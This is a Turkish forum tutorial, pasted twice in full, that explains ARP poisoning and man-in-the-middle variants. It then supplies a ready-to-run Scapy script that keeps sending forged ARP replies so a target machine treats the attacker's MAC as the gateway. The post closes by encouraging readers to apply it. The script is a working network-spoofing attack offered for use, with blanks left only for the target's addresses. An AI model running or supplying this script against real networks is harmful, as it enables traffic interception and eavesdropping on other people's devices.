Merhabalar arkadaşlar bu gün yine yine- -scapy -üzerinden bir işlem gerçekleştireceğiz.-
Bu sefer scapy üzerinden -ARP Zehirleme Saldırısı- yapacağız.-
Öncelikle -ARP Zehirleme Saldırısı nedir ? Mantığı Nedir ?-
İp adresine karşılık, sahte bir MAC adresi oluşturulmasına ARP zehirlenmesi denir.-
Amaç bilgisayarı router cihazı olduğumuza ikna edecek ARP paketleri göndermektir.-
---canyoupwn----
Ağda işlem yapmak istediğimizde ilk olarak cihaz ARP Tablosunu kontrol eder. (arp )-
İletişim kuracağımız cihazın MAC bilgisi ARP Tablosunda yoksa bağlı olduğumuz ağa cihazımız tarafından genel bir mesaj gönderilir. Ağdaki tüm cihazlar bu mesajı alır ve sonrasında İP adresinin sahibi olan cihaz karşı tarafın MAC adresini kendi ARP Tablosuna ekler ve bu ARP isteğine cevap döner.-
Cevabı alan cihaz ARP Tablosunu günceller. (arp a)-
----
[img=510x248]https://i.hizliresim.com/zB1GbY.png[/img]
ARP Zehirlenmesi Çeşitleri:
1.Hedef Bilgisayarın ARP tablosunu Doldurma
2.Ortadaki Adam Yöntemi (Man in the Middle)
3. Hedef Bilgisayarın Paketlerini Başkasına Gönderme-
ARP Zehirlemesinden önce ve sonra kurbanın arp tablosuna göz atalım:-
Önce:-
Sonra :-
ARP Zehirleme saldırısı yapmak için scapy de kodumuz bulunmaktadır .py olarak kaydedip "python dosyaadi.py" komutu ile Linux işletim sistemimizde çalıştırabiliriz.-
Kodumuz;-
#!usr/bin/env python
--
#Coded By Besim ALTINOK - Heavenly-
import sys-
from scapy.all import *-
conf.verb=0-
op=2-
attackerMAC='' #Saldırı Yapacak cihazın MAC Adresi-
gateway='' #Gateway IP Adresi-
hedefIP='' #Hedefin IP Adresi-
arp=ARP(op=op,psrc=gateway,pdst=hedefIP, hwsrc=attackerMAC)-
print "ARP Saldırısı Başlatıldı..."-
try:-
while 1:-
send(arp, iface='wlan0') #Kendi İnterfaceinizi girin-
time.sleep(2)-
except KeyboardInterrupt:-
print "ARP Saldırısı Sonlandırıldı !"--
Teşekkürler Galiba Scapy konularımı bitirdim sağlıcakla kalın bir sonraki konumda görüşmek üzre lütfen öğrendiklerinizi uygulayın.-
İyi Forumlar...---
Bu sefer scapy üzerinden -ARP Zehirleme Saldırısı- yapacağız.-
Öncelikle -ARP Zehirleme Saldırısı nedir ? Mantığı Nedir ?-
İp adresine karşılık, sahte bir MAC adresi oluşturulmasına ARP zehirlenmesi denir.-
Amaç bilgisayarı router cihazı olduğumuza ikna edecek ARP paketleri göndermektir.-
---canyoupwn----
Ağda işlem yapmak istediğimizde ilk olarak cihaz ARP Tablosunu kontrol eder. (arp )-
İletişim kuracağımız cihazın MAC bilgisi ARP Tablosunda yoksa bağlı olduğumuz ağa cihazımız tarafından genel bir mesaj gönderilir. Ağdaki tüm cihazlar bu mesajı alır ve sonrasında İP adresinin sahibi olan cihaz karşı tarafın MAC adresini kendi ARP Tablosuna ekler ve bu ARP isteğine cevap döner.-
Cevabı alan cihaz ARP Tablosunu günceller. (arp a)-
----
[img=510x248]https://i.hizliresim.com/zB1GbY.png[/img]
ARP Zehirlenmesi Çeşitleri:
1.Hedef Bilgisayarın ARP tablosunu Doldurma
2.Ortadaki Adam Yöntemi (Man in the Middle)
3. Hedef Bilgisayarın Paketlerini Başkasına Gönderme-
ARP Zehirlemesinden önce ve sonra kurbanın arp tablosuna göz atalım:-
Önce:-
Sonra :-
ARP Zehirleme saldırısı yapmak için scapy de kodumuz bulunmaktadır .py olarak kaydedip "python dosyaadi.py" komutu ile Linux işletim sistemimizde çalıştırabiliriz.-
Kodumuz;-
#!usr/bin/env python
--
#Coded By Besim ALTINOK - Heavenly-
import sys-
from scapy.all import *-
conf.verb=0-
op=2-
attackerMAC='' #Saldırı Yapacak cihazın MAC Adresi-
gateway='' #Gateway IP Adresi-
hedefIP='' #Hedefin IP Adresi-
arp=ARP(op=op,psrc=gateway,pdst=hedefIP, hwsrc=attackerMAC)-
print "ARP Saldırısı Başlatıldı..."-
try:-
while 1:-
send(arp, iface='wlan0') #Kendi İnterfaceinizi girin-
time.sleep(2)-
except KeyboardInterrupt:-
print "ARP Saldırısı Sonlandırıldı !"--
Teşekkürler Galiba Scapy konularımı bitirdim sağlıcakla kalın bir sonraki konumda görüşmek üzre lütfen öğrendiklerinizi uygulayın.-
İyi Forumlar...---
